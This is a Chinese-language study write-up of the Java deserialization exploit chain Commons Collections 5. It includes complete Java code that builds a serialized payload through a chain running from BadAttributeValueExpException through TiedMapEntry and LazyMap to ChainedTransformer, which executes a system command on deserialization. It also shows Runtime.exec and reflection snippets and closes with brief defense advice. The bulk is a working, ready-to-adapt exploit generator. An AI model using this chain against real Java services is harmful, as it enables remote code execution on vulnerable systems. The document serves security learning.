java反序列化学习记录-Common Collections 5
字数 930 2025-08-20 18:18:04
Java反序列化漏洞学习 - Commons Collections 5 利用分析
环境搭建
- 使用Maven创建项目并添加依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
- 基础测试代码框架:
package payload;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class CommonsCollections5 {
public static void main(String[] args) {
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Java执行系统命令的基础知识
Runtime模块执行命令
String[] cmd = {"/bin/sh","-c","curl localhost:9999"};
Process proc = Runtime.getRuntime().exec(cmd);
反射基础使用
// 普通反射调用
Method method = Animal.class.getDeclaredMethod("print");
Animal aa = new Animal();
method.invoke(aa);
// 反射调用Runtime执行命令
Runtime runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method method = cls.getMethod("exec", String.class);
method.invoke(runtime, "gnome-calculator");
// 两次反射调用
Object runtime = Class.forName("java.lang.Runtime")
.getMethod("getRuntime", new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime, "gnome-calendar");
Payload构造原理
关键类分析
- InvokerTransformer:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException(...);
} catch (IllegalAccessException var6) {
throw new FunctorException(...);
} catch (InvocationTargetException var7) {
throw new FunctorException(...);
}
}
}
- ChainedTransformer:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
- LazyMap:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
- TiedMapEntry:
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
- BadAttributeValueExpException:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
// ...
val = valObj.toString(); // 会触发toString()调用
}
完整利用链构造
- 构造Transformer链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"gnome-calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
- 构造LazyMap:
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
- 构造TiedMapEntry:
TiedMapEntry entry = new TiedMapEntry(lazyMap, null);
- 构造BadAttributeValueExpException:
BadAttributeValueExpException badAttributeValueExpException =
new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
完整Payload代码
package payload;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class buildser {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"gnome-calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap,null);
BadAttributeValueExpException badAttributeValueExpException =
new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,entry);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用流程总结
-
序列化流程:
- 构造Transformer链执行命令
- 将Transformer链放入LazyMap
- 将LazyMap放入TiedMapEntry
- 将TiedMapEntry放入BadAttributeValueExpException
- 序列化BadAttributeValueExpException对象
-
反序列化触发流程:
- 反序列化时调用BadAttributeValueExpException.readObject()
- readObject()调用val.toString()
- toString()调用TiedMapEntry.getValue()
- getValue()调用LazyMap.get()
- get()调用factory.transform()即ChainedTransformer.transform()
- ChainedTransformer依次执行各个Transformer的transform()
- 最终通过反射链执行系统命令
防御建议
- 升级Commons Collections到安全版本(3.2.2+)
- 使用Java反序列化过滤器
- 对反序列化操作进行严格限制
- 使用白名单机制控制可反序列化的类
扩展学习
- 其他Commons Collections利用链(CC1, CC2等)
- Fastjson反序列化漏洞
- WebLogic CVE-2020-2555/2551漏洞分析